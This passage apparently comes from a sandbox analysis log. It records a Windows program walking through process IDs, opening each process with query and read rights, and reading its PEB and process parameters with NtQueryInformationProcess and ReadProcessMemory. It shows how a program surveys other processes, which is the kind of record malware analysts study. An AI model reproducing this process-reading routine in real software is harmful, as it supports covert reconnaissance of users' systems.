dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.234] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0359.236] CloseHandle (hObject=0x0) returned 0 [0359.237] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0359.237] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0359.237] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.237] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.238] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0359.238] CloseHandle (hObject=0x0) returned 0 [0359.238] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0359.238] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0359.238] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.239] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.240] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0359.240] CloseHandle (hObject=0x0) returned 0 [0359.240] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0359.240] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0359.241] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.241] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.241] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0359.242] CloseHandle (hObject=0x0) returned 0 [0359.242] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0359.242] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0359.242] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.242] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.243] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0359.243] GetLastError () returned 0x0 [0359.243] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.243] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.243] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.243] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.243] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.244] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.244] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.244] malloc (_Size=0x1c) returned 0xecd480 [0359.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd480, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd480*, lpNumberOfBytesRead=0x0) returned 1 [0359.244] free (_Block=0xecd480) [0359.245] CloseHandle (hObject=0xa9c) returned 1 [0359.245] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0359.245] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0359.245] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.245] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0359.246] CloseHandle (hObject=0x0) returned 0 [0359.246] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0359.246] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0359.247] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.247] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.247] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0359.247] GetLastError () returned 0x0 [0359.247] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.248] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.248] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.249] malloc (_Size=0x3e) returned 0xea77f0 [0359.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea77f0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea77f0*, lpNumberOfBytesRead=0x0) returned 1 [0359.249] free (_Block=0xea77f0) [0359.249] CloseHandle (hObject=0xa9c) returned 1 [0359.250] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0359.250] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0359.250] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.250] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.251] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0359.251] GetLastError () returned 0x0 [0359.251] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.252] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.252] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.252] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.252] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.252] malloc (_Size=0x26) returned 0xecd1e0 [0359.252] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd1e0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd1e0*, lpNumberOfBytesRead=0x0) returned 1 [0359.253] free (_Block=0xecd1e0) [0359.253] CloseHandle (hObject=0xa9c) returned 1 [0359.253] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0359.253] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0359.253] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.253] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0359.254] GetLastError () returned 0x0 [0359.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.255] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.256] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.256] malloc (_Size=0x26) returned 0xecd6c0 [0359.256] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd6c0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd6c0*, lpNumberOfBytesRead=0x0) returned 1 [0359.257] free (_Block=0xecd6c0) [0359.257] CloseHandle (hObject=0xa9c) returned 1 [0359.257] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0359.257] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0359.257] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.257] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0359.258] GetLastError () returned 0x0 [0359.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.259] malloc (_Size=0x64) returned 0xeb6690 [0359.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6690, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0359.260] free (_Block=0xeb6690) [0359.260] CloseHandle (hObject=0xa9c) returned 1 [0359.260] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0359.260] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0359.261] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.261] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0359.261] GetLastError () returned 0x0 [0359.262] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.262] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.262] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.263] malloc (_Size=0x5a) returned 0xeb6150 [0359.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb6150, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0359.263] free (_Block=0xeb6150) [0359.263] CloseHandle (hObject=0xa9c) returned 1 [0359.264] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0359.264] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0359.264] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.264] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0359.265] GetLastError () returned 0x0 [0359.265] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.266] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.266] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 